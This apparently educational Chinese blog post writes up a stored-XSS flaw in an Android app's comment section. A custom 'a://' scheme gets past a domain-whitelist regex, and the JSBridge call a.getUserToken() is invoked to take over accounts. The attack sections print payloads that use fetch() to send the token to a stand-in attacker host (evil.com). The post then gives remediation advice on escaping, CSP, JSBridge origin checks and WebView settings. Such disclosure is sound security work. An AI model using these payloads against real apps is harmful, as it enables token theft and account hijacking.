任意 Schema 协议调用导致的任意用户登录

📋 漏洞概述

漏洞类型:存储型 XSS + JSBridge API 调用
影响范围:Android App 小程序评论区
危害等级:高危
漏洞原理:通过构造 Schema 协议绕过域名白名单限制,利用 XSS 调用 JSBridge API 窃取用户 Token


🔍 技术背景

1. Schema 协议

定义:Schema 协议是 Android 中的一种页面内跳转协议,用于方便 App 内部的页面跳转。

特点

  • 可以根据业务需求自定义协议名称
  • 格式:协议名://路径
  • 示例:a://xxxb://xxxmyapp://page/home

作用

  • 实现 App 内部页面跳转
  • 传递参数和数据
  • 调用特定功能模块

2. JSBridge(JavaScript 桥接)

定义:JSBridge 是连接 H5 页面和原生 App 代码的"翻译器"。

工作原理

┌─────────────┐         ┌──────────────┐         ┌─────────────┐
│   H5 页面   │ ──────> │   JSBridge   │ ──────> │  原生代码   │
│  (JavaScript)│         │   (翻译器)   │         │  (Android)  │
└─────────────┘         └──────────────┘         └─────────────┘

功能

  • H5 → 原生:将 JavaScript 代码翻译成原生能理解的指令
    • 示例:window.bridge.getLocation()callNative("getLocation")
  • 原生 → H5:将原生指令翻译成 JavaScript 可执行的代码
    • 示例:webView.evaluateJavaScriptwindow.onPaySuccess()

常见用途

  • 调用摄像头、相册
  • 获取位置信息
  • 调用支付功能
  • 获取用户信息、Token
  • 调用系统 API

3. WebView(网页视图)

定义:WebView 是原生应用内置的一个类似浏览器的"小型浏览器"。

作用

  • 在 App 中运行 H5 页面
  • 提供 JavaScript 执行环境
  • JSBridge 必须依赖 WebView 才能工作

类比

  • 如果把 JSBridge 理解为一个快递中转站
  • 那 WebView 就相当于一个小区用来放这个快递中转站
  • 否则快递中转站无法给小区内的用户传递

🎯 漏洞发现过程

第一步:发现 WebView 接口

发现点:发现 App 下的一个接口(假设为 c 接口)启用了应用自带的 WebView。

关键信息

  • 接口启用了 WebView 渲染
  • WebView 可以渲染 HTML 内容

第二步:发现 XSS 漏洞

发现点:发现 c 接口下存在一个 content 参数可控且可被渲染。

漏洞特征

  • content 参数用户可控
  • 内容直接渲染到 WebView 中
  • 未进行充分的 HTML 转义和过滤

第三步:逆向分析 JSBridge API

分析方法:通过 APK 逆向分析,发现 App 实现了一些暴露给 JavaScript 的 API。

发现的 API

  • a.getUserToken() - 获取用户 Token
  • 可能还有其他敏感 API(如获取用户信息、位置等)

第四步:构造恶意 Payload

Payload 构造

a://xxx.公司域名.com/c?content=<script>fetch("http://恶意域名?token="+a.getUserToken())</script>

Payload 分析

  1. Schema 协议a://xxx.公司域名.com - 绕过白名单限制
  2. XSS 注入<script> 标签注入恶意代码
  3. JSBridge 调用a.getUserToken() 获取用户 Token
  4. 数据外传:通过 fetch() 将 Token 发送到恶意服务器

🔓 绕过白名单机制

白名单限制机制

限制方式:App 的评论区对用户输入内容进行正则过滤,通过 ://xxx.公司域名.com 来实现第三方域名白名单限制。

预期效果:只允许访问公司域名下的链接。

绕过方法

绕过原理:通过构造恶意的 Schema 协议头来实现组合利用。

示例

正常链接:https://xxx.公司域名.com/page
恶意构造:a://xxx.公司域名.com/c?content=<script>...</script>

为什么能绕过

  • 正则匹配可能只检查了 :// 后面的域名部分
  • Schema 协议 a:// 被误认为是合法的公司域名链接
  • 实际上 a:// 是自定义协议,不是 HTTP/HTTPS 协议

💥 攻击流程

完整攻击链

1. 攻击者构造恶意 Payload
   ↓
2. 在评论区发布包含恶意 Payload 的评论
   ↓
3. 评论以超链接形式展示
   ↓
4. 其他用户看到评论并点击链接
   ↓
5. App 打开 WebView 加载恶意内容
   ↓
6. XSS 代码执行,调用 JSBridge API
   ↓
7. 获取用户 Token 并发送到恶意服务器
   ↓
8. 攻击者获得 Token,实现任意用户登录

攻击示例

步骤 1:构造 Payload

a://xxx.公司域名.com/c?content=<script>
  fetch("http://evil.com/steal?token=" + a.getUserToken())
</script>

步骤 2:发布评论

  • 在评论区输入上述 Payload
  • 系统将其识别为超链接并展示

步骤 3:用户点击

  • 用户看到评论中的链接
  • 点击后触发 Schema 协议跳转

步骤 4:执行攻击

  • WebView 加载恶意内容
  • XSS 代码执行
  • 调用 a.getUserToken() 获取 Token
  • 通过 fetch() 发送到攻击者服务器

步骤 5:获取 Token

  • 攻击者服务器收到 Token
  • 使用 Token 实现任意用户登录

image


🛡️ 漏洞危害

直接影响

  1. 用户 Token 泄露

    • 攻击者可以获取任意用户的登录 Token
    • 实现任意用户账号登录
  2. 用户隐私泄露

    • 可能获取用户个人信息
    • 可能获取用户位置信息
    • 可能获取其他敏感数据
  3. 账号劫持

    • 攻击者可以使用泄露的 Token 登录用户账号
    • 进行恶意操作(如发布内容、修改信息等)

潜在影响

  1. 大规模数据泄露

    • 如果漏洞被大规模利用,可能导致大量用户数据泄露
  2. 业务安全风险

    • 可能影响支付功能
    • 可能影响其他依赖 Token 的业务功能

🔧 修复建议

1. 输入验证和过滤

建议

  • 对所有用户输入进行严格的 HTML 转义
  • 使用白名单机制,只允许安全的 HTML 标签和属性
  • 过滤或转义 <script>onclickonerror 等危险内容

示例

function sanitizeHTML(input) {
  // 转义 HTML 特殊字符
  return input
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;');
}

2. Content Security Policy (CSP)

建议

  • 在 WebView 中实施严格的 CSP 策略
  • 禁止内联脚本执行
  • 限制外部资源加载

示例

<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; script-src 'none';">

3. JSBridge API 权限控制

建议

  • 对敏感的 JSBridge API 进行权限验证
  • 限制哪些页面可以调用哪些 API
  • 对 API 调用进行来源验证

示例

// 只允许特定域名调用敏感 API
if (window.location.origin !== 'https://trusted-domain.com') {
  throw new Error('Unauthorized API call');
}

4. Schema 协议白名单验证

建议

  • 严格验证 Schema 协议的合法性
  • 不仅检查域名,还要检查协议类型
  • 禁止在 Schema 协议中传递可执行代码

示例

function validateSchema(url) {
  // 只允许特定的 Schema 协议
  const allowedSchemes = ['https', 'http'];
  const scheme = url.split('://')[0];
  return allowedSchemes.includes(scheme);
}

5. WebView 安全配置

建议

  • 禁用 JavaScript(如果不需要)
  • 限制可以访问的域名
  • 使用安全的 WebView 配置

Android 示例

WebView webView = new WebView(context);
WebSettings settings = webView.getSettings();
settings.setJavaScriptEnabled(false); // 如果不需要 JS
settings.setAllowFileAccess(false);
settings.setAllowContentAccess(false);

6. 输出编码

建议

  • 在渲染用户内容时进行 HTML 编码
  • 使用框架提供的安全渲染方法
  • 避免使用 innerHTML,使用 textContent 或安全的方法

📚 相关知识点总结

1. Schema 协议安全

  • ✅ 只允许特定的协议类型(如 https://http://
  • ✅ 验证协议和域名的合法性
  • ✅ 禁止在协议中传递可执行代码

2. JSBridge 安全

  • ✅ 最小权限原则:只暴露必要的 API
  • ✅ 权限验证:验证调用来源
  • ✅ 敏感 API 保护:对 Token、用户信息等 API 进行额外保护

3. WebView 安全

  • ✅ 禁用不必要的功能(如 JavaScript、文件访问)
  • ✅ 实施 CSP 策略
  • ✅ 限制可访问的域名

4. XSS 防护

  • ✅ 输入验证和过滤
  • ✅ 输出编码
  • ✅ 使用安全的渲染方法
  • ✅ 实施 CSP 策略

🎓 学习要点

  1. 理解 JSBridge 的工作原理

    • JSBridge 是 H5 和原生代码的桥梁
    • 必须依赖 WebView 才能工作
  2. 理解 Schema 协议的作用和风险

    • Schema 协议用于 App 内部跳转
    • 可能被用于绕过安全限制
  3. 理解 XSS 在移动端的危害

    • 移动端 XSS 可以调用系统 API
    • 危害可能比 Web 端更大
  4. 理解白名单绕过技巧

    • 正则匹配可能存在绕过点
    • 需要全面验证,不能只检查部分内容

⚠️ 免责声明

本文档仅用于安全研究和教育目的。未经授权的安全测试可能违法,请在获得明确授权的情况下进行安全测试。
如果漏洞的发现者偶然看到欢迎 + 我,抱紧大佬大腿~

posted @ 2025-12-07 17:33  Zephyr07  阅读(7)  评论(0)    收藏  举报